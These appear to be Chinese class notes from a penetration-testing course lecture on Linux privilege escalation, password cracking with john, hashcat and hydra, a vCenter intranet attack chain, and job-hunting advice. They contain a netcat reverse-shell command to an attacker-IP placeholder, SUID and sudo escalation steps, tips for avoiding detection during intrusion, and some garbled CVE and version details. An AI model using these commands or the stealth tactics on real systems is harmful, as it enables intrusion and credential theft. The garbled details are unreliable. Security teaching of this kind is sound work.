课堂笔记-8月28日
课堂笔记-8月28日:Linux 提权体系全景——从内核漏洞到 vCenter 内网渗透
来源:
8_28/录音.txt| 日期:2026-08-28 | 主题:Linux 系统提权(10 种方法)逐类讲解与实战演示,辅以安全基线、密码破解、vCenter 内网渗透与秋招面试/简历指导
〇、今日主线
- 承接上节课 Windows 11 种提权方案(面试要求能背出 80%),本节课转入 Linux 系统提权,共 10 种方法逐类拆解。
- 核心结论先行:内核提权是 Windows/Linux 双平台最有效的提权方式,其次依次是弱口令/暴力破解、SUID 提权、敏感文件(密码复用)提权,任务计划提权实际成功率极低。
- 现场演示:SUID + find
-exec提权、cron 任务计划提权(含 dash/bash 坑)、John/hashcat 密码爆破、Hydra 弱口令、sudo 漏洞(CVE-2021-3156)提权、vCenter 未授权上传 + 提权。 - 穿插大量秋招就业内容:面试心态、简历包装、实习与转正规则、薪资行情。
一、提权基本概念与前置条件
- 提权前提是"已有一定权限":从普通用户/低权限 Web 用户向更高权限(root)升级,而非从零获取权限。经典场景:拿下网站后权限是
www-data(只能写 web 目录),需升到 root 才能操作其它系统目录。 - 内核提权是 Windows/Linux 最靠谱方式:Windows 先
systeminfo查看未打的补丁,再按补丁对应漏洞提权。若内核提权失败,其它方法基本也难成功;真实线上系统不会配置得那么脆弱。 SAM抓取明文/哈希严格说不算提权(有前置条件);从注册表导出SCM HIVE/System.hiv拿管理员哈希同样需要高权限。
Linux 提权方式成功率排序(老师口述)
| 排名 | 方式 | 成功率 / 可行性 | 备注 |
|---|---|---|---|
| 1 | 内核提权 | 最高(尤其 Ubuntu 22 以前内核) | 2026 上半年新内核漏洞多,新稳定版反而最易命中 |
| 2 | 弱口令 / 暴力破解 | 20%~30%,实战最常奏效 | 防御极简单:密码设复杂即可 |
| 3 | SUID 提权 | 2020 版本前可行,现实成功率低 | 正常系统不会随意给 SUID |
| 4 | 敏感文件提权(密码复用探测) | 已极低(8~10 年前 50~60%) | 取决于管理员是否复用密码;宝塔等已自动生成随机密码 |
| 5 | 任务计划(cron)提权 | 极低(老师称 99% 失败) | root 创建的任务计划文件默认只有 root 能改 |
| 6 | 直接编辑 /etc/shadow 等 |
几乎理论存在 | 现实中遇不到 777 权限的 shadow |
二、内核提权与漏洞利用实战
2.1 关键结论与判断标准
- 旧版本问题多,新版本漏洞新:2026 上半年 Linux 爆出大量内核提权漏洞(如"copy C"),往往出现在最新最稳定版本——发现时间短、防护不完善,成功率最高。
- 通杀性内核漏洞:影响 2017~2026 年 Linux 版本,原理简单(本质是权限写入问题)、支持 x86-64(大多数框架受影响),网上资料丰富。
- "要求输入密码 = 漏洞已被修复":提权工具执行中一旦出现密码输入环节,基本说明该漏洞已打补丁;真正的漏洞利用应绕过认证。
- 无通用提权方法:成功率高度依赖环境配置与代码版本——同漏洞 C 版重编译可能成功、Python 版却失败;静态编译工具体积可达 937k。老师强调通常只用特定版本的漏洞利用代码。
- 不能"人为满足前置条件":若工具提示提权成功但需先装特定工具,这种"作弊式"提权在真实渗透中无意义(攻击场景往往没有安装工具的权限)。
2.2 现场调试踩坑记录
- CVE-2021-1798 提权举例:可能多次尝试,第一次大概率失败;操作不当可致服务器崩溃/宕机。
- 某 Python 提权工具(要求 Python 3.6+,含 run/detect/scan 功能):建议先切非 root 账户运行避免权限问题。
- 版本兼容性:Ubuntu 24.04 内核 6.17 成功;Ubuntu 20.4/22 内核 6.8 大概率也能成功,但需确认内核组件是否支持。
- 加密算法问题:Ubuntu 22.04 报缺
aead/sha256/aes,检查后系统其实已具备;若真缺失,可修改算法组合——去掉特定算法或改用更通用配置。 - 文档理想化:技术文档步骤常是理想化的,实际执行受环境差异影响,不要完全依赖文档。
2.3 可靠漏洞与 PoC 检索
- 31431 漏洞:老师测试过最可靠的方式;其它方法(如 2404 版本漏洞)要么失效、要么成功率低。优先验证已知可靠漏洞,不浪费时间。
- Ubuntu 22(内核 6.8) 使针对低版本内核(如 4.34)的漏洞基本失效,老师实测三个案例均失败。检索新提权方法用 Linux 内核漏洞数据库或 Google 搜最新 PoC——很多公开漏洞仅适用较旧内核,Ubuntu 22 要找专门针对高版本内核的新漏洞。
- 提到漏洞编号 68138、464531(影响 Linux 5.1~7.5)、20256018、20256019 测试成功,优邦库 2.04 成功且统信已发布修复公告。
- 老师建议:直接执行现成脚本验证,不要依赖 AI 去"挖"这类复杂漏洞。22 版多次提权失败、24 版却成功——新版本不一定更安全,但老版本"更安全"往往是偶然,不能长期依赖。
三、SUID 提权
3.1 SUID 机制
- SUID(Set User ID):二进制文件设置 SUID 位后,普通用户执行时瞬间临时获得文件所有者(通常 root)的权限(类比:拿老板工牌刷卡)。
- 查找 SUID 文件是提权关键第一步(
-perm -4000匹配 SUID 文件,2>/dev/null屏蔽错误信息):
find / -perm -4000 2>/dev/null
- 找到不代表能用:大多数 SUID 文件无法借此执行命令,除非像
find本身支持-exec的特殊情况。早期系统给 root 属主的find加过 SUID 位,新版已取消(安全隐患);老师现场演示手动加 SUID 后命令变红。
3.2 find + -exec 提权实战
touch /tmp/123.txt # 确保目标文件存在,find 才能命中并触发 -exec
find /tmp -name 123.txt -exec whoami \; # -exec 以 root 身份执行(前提:find 带 SUID)
- 必须保证目标文件存在,否则
-exec不触发。 - 命令执行环境的选择很关键:最初在 share 层面执行失败,应在 find 内部执行——用错钥匙,钥匙本身没问题也开不了门。
- 创建文件 ≠ 写入文件:
touch创建成功但写入失败;echo写入、find建目录也不成。查看内容通常可行,创建/修改需要更高权限。 - 更实用思路:直接向根目录写文件通常失败,可先用
mv把 flag 文件移动到有权限的目录,再借助带 SUID 的 find-exec操作。
3.3 其它 SUID 利用(copy / mv 覆盖系统文件)
- 利用带 S 权限的
copy/mv覆盖/etc/passwd或/etc/shadow可拿 root——但普通用户对这些文件只有读权限(shadow 甚至完全不可访问),需先备份再替换。三步骤:备份原 passwd → 修改 passwd 添加新用户 → copy 覆盖。 - 现实判断:
copy/mv基本不可能被赋予 SUID(风险等于给攻击者完全控制系统的能力);正常/etc/passwd权限 644,若被误设 777 提权将极其容易,但现实中几乎不会。 - SUID 提权 2020 版本以下可行,现实中成功率极低;某些命令(如
date)即使有 SUID,多只能读文件。
四、/etc/passwd 与 /etc/shadow 的用户验证机制
- Linux 登录验证流程:先查
/etc/passwd用户条目,标记no login直接拒绝;只有/bin/bash等有效 shell 的用户才进入密码验证环节。登录限制标记比密码验证更前置,体现"快速失败"理念。 - 系统为服务创建最小权限账户(只能启动特定服务),体现最小权限原则。
- 密码验证核心在
/etc/shadow:某用户在此无密码(显示x)则该账户实际不可用;x表示密码存于 shadow,若有人直接改 shadow 把x替换成加密密码字符串,就可能绕过正常密码设置流程。 - shadow 提权:有写权限可直接改密码,有读权限(误配 644)可提取哈希破解;但 shadow 默认 600(仅 root 可读写),现实中普通用户不可能有 777 权限——更多是面试题场景,实际源于运维失误。
- 修改 shadow 添加 root 权限用户:条目含密码、UID 0(root)、正常 shell 路径即可用 root 登录;整个过程依赖"临时文件 + 权限提升"。
- 加密破解基本不可能成功,除非弱口令可爆破;某脚本改文件权限(如 777)覆盖
/etc/passwd添加 tomcat 用户,使普通用户获得 shadow 读写权限——权限管理随意会形成严重漏洞。
密码生成与修改规范
- 临时改密后(如从
000改成7777)务必改回正常密码,否则留下后门。 - 规范做法:以
password_123为基础密码,sort 算法加盐(盐值可自定义)+ MD5 加密生成;加盐可防彩虹表攻击。
五、任务计划(cron)提权与反弹 Shell
5.1 反弹 Shell 常用方式
- 原理:目标服务器开启指定端口,攻击者主动连接即建立反弹 shell;前提是目标装有对应工具(Python 或 nc)。
- 常用工具/语言:nc、Python、PowerShell、Ruby、Node.js、Java;核心参数为目标 IP + 端口;建议先监听端口确认连接正常。
nc -lvnp 8888 # 攻击机监听(原文 5555 是笔误)
nc <攻击机IP> 8888 -e /bin/bash # 目标机反弹
- 调试坑:
nc版本过高可能缺-E/-C参数;报fd number语法错误提示不支持当前风格的定向输入(系统默认 dash)。
5.2 cron 任务计划提权
- 核心逻辑与 Windows 任务计划提权一致:某用户有定时执行脚本的权限,若攻击者能修改脚本内容即可植入恶意命令实现反弹(类比 Windows 替换
temp/clean.ps1)。 - 可修改 cron 时间参数(如每小时执行的
0改成/15)提高执行频率。典型脚本流程:创建目录 → 生成 readme/idl → 写cleanup.py→ 赋予执行权限 → 替换名称后执行。 - 权限陷阱:通过网站进来可能没有 clean-up 写权限;文件若放
time目录(通常有写权限)提权成功率很高;root 创建的 cron 任务文件只有 root 能改——现实几乎不会用任务计划提权,属"死路一条"。 - 600 权限问题:任务计划文件应设 600,若为 644 则报 "insecure"。关联 Redis RCE 写 cron:redis 默认写入权限 644,写
/var/spool/cron/root即使成功也会因权限问题失败。
5.3 环境差异与 dash/bash 坑
- 优光库/部分定制版系统中任务计划失败率高达 99%,主因:① 权限限制;② 系统默认
dash而非bash。可尝试bash -c或sh -c替代。 - 软链接指向错误:CentOS 下软链接实际指向
dash而非bash,调用base报no found。解决思路:① 修改指向(把默认 sh 指回 bash);② 切换环境(执行前加一行bash);③ 直接调用(sh 环境下用bash -c执行)。关键点:文件权限 600、base 路径正确。
5.4 Redis RCE 三种利用方式(关联)
- 写入 Web 共享目录:植入恶意文件到网站目录;
- 篡改 SSH 公钥:实现免密登录(需写权限);
- 写入定时任务:写
/var/spool/cron/root以 root 执行反弹 shell——因 644/600 权限问题通常失败。
六、密码破解与弱口令提权
6.1 现实判断
- 弱口令攻击在实战中成功率相当高;防御很简单——设足够复杂的密码,"123456" 完全不可取。暴力破解成功率约 20~30%,靠运气,90% 情况下会失败。
- 敏感文件提权(密码复用探测):扫描数据库配置文件(如 WordPress 数据库密码)收集密码尝试复用为 root 密码,成败取决于管理员的密码习惯;2026 年成功率已极低(宝塔等面板自动生成随机密码)。老师成功案例:内网存在 vCenter 集群管理系统(存储大多数服务器密码,相当于"钥匙串")才是真正突破口。
-v/-V/-a/-A参数可显示详细破解过程。
6.2 John the Ripper
- 著名开源密码破解工具,字典攻击/暴力破解哈希,用于安全审计。使用前需合并
/etc/passwd和/etc/shadow,否则工具无法识别:
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt
- 支持单用户模式(single crack mode);知道盐值(salt)可手动添加提升效率。与 hashcat 同为密码审计利器。
6.3 hashcat 与算法识别
- hashcat 是目前最快的密码破解工具,利用 GPU 运算(比 CPU 快得多);GPU 越多越快。
- shadow 中存的是加盐哈希(非明文),破解前须先识别算法;按加密标识选模式:
| 加密标识 | 算法 | hashcat 模式 |
|---|---|---|
$1$ |
MD5 | 500 |
$5$ |
SHA-256 | 7400 |
$6$ |
SHA-512 | 1800 |
- 技巧:用
unshadow合并多个用户哈希后批量破解更高效;强密码几乎不可能被破解,实操优先破解 root 这类高价值目标;rockyou是常用密码字典。
6.4 Hydra(美杜莎)暴力破解
hydra -l root -P pass.txt ssh://目标IP # 固定用户名
hydra -L users.txt -P pass.txt ssh://目标IP # 用户名字典 + 密码字典
- 支持 SSH 等协议;用户名可固定(如
root)或用字典(含admin、manager等)。实际能否遇到有弱密码的目标("屠龙之术")决定价值。
6.5 字典构建方法论
- 针对性字典攻击比纯暴力破解高效。破解"培华"案例:原始密码可能是
2015,收集相关密码(如shz-2015)并有策略地扩充常见变体可显著提高成功率——shz-2015攻破 73、76 号系统,但 74、75 号无效(不同系统安全策略不同)。 - 提高成功率的核心是前期充分的信息收集:尽可能多收集目标敏感信息整理成字典,信息碎片越多越接近成功。磁盘空间不足时可自制精简版字典。
七、系统识别技巧(面试常问)
- TTL 值快速区分系统:
ping目标,Windows 默认 TTL 128,Linux 默认 TTL 64;若小于 64 基本确定是 Linux。坑:经虚拟机/中间设备测试时 TTL 可能反映物理主机而非目标系统,务必直接 ping 目标 IP。 - 大小写敏感特性:把路径故意改成大写,Linux 严格区分大小写会报错,Windows 不受影响。
八、sudo 提权与相关漏洞
- sudo(super user do):用 root 权限执行命令;root 可在任何主机以任何用户/用户组身份执行任何命令,权限极高。sudo 提权前提:对 sudo 配置文件有写入权限;默认 sudoers 对 root 只读、对其它用户完全禁止(权限 000)。
user1 ALL=(ALL) NOPASSWD: ALL # 可无密码执行所有命令
user2 ALL=(ALL) NOPASSWD: /usr/bin/find # 只能执行 find
- 核心漏洞:攻击者若能写入 sudoers 给普通用户赋予 find 等命令权限,即可借 find 提权;前提是能改 sudoers + 构造看似合理实则危险的命令。
- 带固定参数的命令授权更安全:如
sudo less /var/log/syslog,参数写死后只能翻页,无法执行其它操作,适合只读访问(查日志)场景。 - sudo 版本漏洞:sudo 1.8.16 存在 security bypass,1.8.28 修复;实测只有 1.8.17 能复现提权(但"需添加特定语句"说明 web 用户通常无权限,等于提权已失败)。判断标准:真正的提权应无需额外添加文件、直接拿 root。
- CVE-2021-3156(sudo 提权漏洞):在特定位置添加代码实现提权,成功率高于 msf 常规 local 提权模块;可在
/etc/passwd直接写入账户信息(如管理员gg)绕过权限检查。提权成功后先不登录、先拿 root 钥匙。
九、vCenter 内网渗透(重点实战案例)
9.1 架构认知
- ESXi:直接运行在物理服务器上的"操作系统",在单台物理机上创建/管理多个虚拟机(像 VM,内存够可装多个 OS)。
- vCenter Server:虚拟化环境的"指挥官",集中管理多台 ESXi 主机(工人 vs 工头)。
- vCenter 的价值:拿下 vCenter ≈ 控制内网 80%~90% 的机器,直通域控最高权限,是内网渗透的高价值核心目标。
9.2 攻击链实录
- 入口:通过 SQL 注入获取内网服务器权限 → 提权抓取密码。
- 横向定位:尝试 Pass the Hash(哈希传递) 失败后,用扫描工具(如 Xscan)定位 vCenter。
- 漏洞利用:版本识别(某案例 6.5 命中 CVE-2021-21972;老师实测 6.7 可行)——内网未升级导致中招。发现 405 错误(不支持 GET、可能接受 POST),说明存在未健全的上传接口,可上传 webshell(如
share.jsp)。 - 获取权限:上传 冰蝎三 webshell 获取 web shell 权限(可能只是普通用户而非 root);不推荐"重置密码"方式(影响管理员使用)。
- 提权:低权限拿不到 cookie / 伪造 mdb,需先提权。常规 msf local 提权成功率不高,改用 CVE-2021-3156(sudo 漏洞) 成功,添加超级管理员账户(如
peihua@xxx)写入/etc/passwd。 - 登录控制台(推荐路径):通过解析数据库获取 cookie 替换登录,而非改密码。
9.3 渗透手法隐蔽性(老师强调)
- 直接添加用户是最差的后门方式:操作日志明显,大厂 2 小时内必发现。正确做法:抓取管理员明文密码用合法凭证登录——动静最小、可持久。
- 渗透路径设计:先通过低权限入口(如端口 320)切入,最后再针对 vCenter,避免过早暴露意图。
- 附:Windows 登录验证用密码哈希而非明文,因此 Pass the Hash 可绕过密码验证。
十、安全基线(基线检查)
- 基线检查 = 系统必须达到的最低安全标准("及格线"),不要求最好但必须达标。
- 权威依据:国家工信部发布的安全基线标准(最早 2014 年发布,核心变化不大),对操作系统(Windows/Linux)、网络设备(路由器/交换机/防火墙)、数据库、中间件均有规定;Unix 因主要在银行使用可暂略。
Windows 基线要点
| 项 | 要求 | 说明 |
|---|---|---|
| 口令长度 | 8 位升级到 11 位 | 账号口令管理 |
| 账号共享 | 禁止 | — |
| 多余账号 / 来宾账号 | 删除无关账号、禁用来宾 | 清理攻击面 |
| Administrator 改名 | 可做但作用有限 | 黑客用 SID(如 500)可识别管理员,改名只是"扬汤止沸" |
| 远程关机/登录权限 | 仅限 Administrators 组 | 防权限滥用 |
密码策略要点
- 强制密码历史设为 75:防止循环使用旧密码。
- 账户锁定策略:暴力破解时可自动锁定账户。
- 密码生存时间:Linux 默认 99999 天(不限时长),安全规范通常要求 90 天强制修改——即使哈希泄露,强制改密后旧哈希作废。
- 已有现成基线检测脚本可一键完成检查;shadow 文件通常不建议随意修改,保持默认即可。
十一、实战思路沉淀(老师强调的方法论)
- 曲线救国:主站 www.aa.com 攻不破时,攻击同服务器的 www.bbb.com;Linux 常把不同网站放不同目录,普通 Web 权限无法跨目录访问,拿下 bbb 后需提权才能访问 aa 目录数据——从薄弱点突破逐步扩大战果。
- 提权两大核心场景:① 分析网站文件结构找数据库连接文件,直接访问目标数据库取数据;② Windows 环境下抓管理员明文密码为内网横向做准备。
- find 命令是实战中最实用的提权工具;提权本质目的是突破权限限制,拿到原本无法访问的关键数据。
- 写不进去就不必纠结:借助 AI 找出正确写入方法更高效,多问几次 AI、调整写入格式/参数最终一定能成功。
- 内网渗透优先找 vCenter 这类核心系统(拿总控钥匙比挨个撬门高效);发现后立即联想到其已知漏洞(如 CVE-2021-21972)。
- 漏洞利用要关注时效性:新系统可能已修复旧漏洞,先检查版本范围;老师不推荐用 AI 挖复杂内核漏洞,直接执行现成 PoC 脚本验证更实际。
附:行动清单
- 背熟上节课 Windows 11 种提权方案(面试要求能说出 80%),并整理 Linux 提权 10 种方法速查表。
- 复现 SUID 提权:
find / -perm -4000 2>/dev/null与find -exec用法,重点体会"创建≠写入"与 mv 换目录思路。 - 用 John the Ripper(
unshadow合并)与 hashcat 各跑一次弱口令哈希破解,记录 MD5/SHA-512 对应 mode(500/1800)与rockyou字典用法。 - 用 Hydra 对本地靶机 SSH 做字典爆破,练习按目标信息自制精简字典(参考培华
shz-2015案例)。 - 复现 vCenter 渗透链(CVE-2021-21972 → 冰蝎 webshell → CVE-2021-3156 提权 → 解析数据库 cookie 登录),重点练习隐蔽操作(抓明文密码而非加用户)。
- 将 TTL 判系统(Windows 128 / Linux 64)、大小写敏感判系统加入面试速记;对照工信部基线检查表核对系统配置。
附:简历与就业要点
简历项目包装
- 简历普遍 AI 相关内容偏少:前两个项目可写单一技术点(如绕过 WAF),后两个建议包含 AI 渗透 或 内网渗透;vCenter 漏洞在内网渗透中价值最高。
- 最好单独列一个"AI Agent 自动化渗透"研究项目,把黑松大赛获奖方案的核心技术提炼进去;AI 主流方向是智能体(Agent),单纯写 Scale 这类工具分量不足。
- 内网部署 vCenter 复现漏洞是有效实战证明,能体现完整内网横向移动能力(普通 RCE、免杀只是"单点突破")。
- 面试准备:每天复盘可能被问到的项目问题,站在面试官角度预演。
面试心态与表达
- 假经历容易露馅,真经历才能自圆其说:有同学虚构互联网经历面过了,但 HR 会电话核实,建议把实习公司名称、工作内容、地点等细节提前了解清楚;真做过项目面 5 次后就能像聊天一样自然。
- 心理素质决定成败:技术实力只是门槛,抗压能力才是决定因素;有同学两次卡壳就放弃逃回老家错失秋招(靠春招捡漏),也有同学弃面后跳槽拿近 30 万年薪(纯属运气)。
- 自信是关键:很多面试官水平可能有限,别自我怀疑;把别人案例吃透讲成自己的戏(基于真实案例的技术消化,不是凭空捏造)。
- 表达要切题:问"项目最大困难"别答"适应新校区"这类跑题内容;先听清问题再答。
- 面试是平等互惠:用劳动换机会,不必低人一等;10 个问题答对五六个就有机会;着装干净得体即可,保持良好心态往往能得不错结果。
实习与转正规则
- 企业已启动招聘,先以实习生身份招募,实习期分 3 个月 / 6 个月(亚信 6 个月,普通公司 3 个月)。
- 转正关键:工作态度与学习态度;客户评价往往比"能力"更重要——客户一句"这人不行"可能断送机会;和客户沟通要专业得体,实习期遇到不合理要求也别轻易拒绝。
- 甲方场景:护网/重保时甲方会提技术外行的要求,不能直接拒绝(不给甲方面子会影响合作);条件不理想该干的活照样干,人情世故很重要。
- 绿盟缺人但竞争激烈、筛选严格;面试最后半小时很关键,把握不好就没后续机会。
薪资行情
- 这一届 深信服安服岗位底薪 16~18k,另加每月 4000 元补贴(房补/饭补/通讯),年补贴近 5 万,年总收入可能超 20 万(此前为底薪 12~14k、补贴 3000 元)。
- 亚信是深信服子公司,实习生待遇标准相似;能否转正取决于实习表现。
浙公网安备 33010602011771号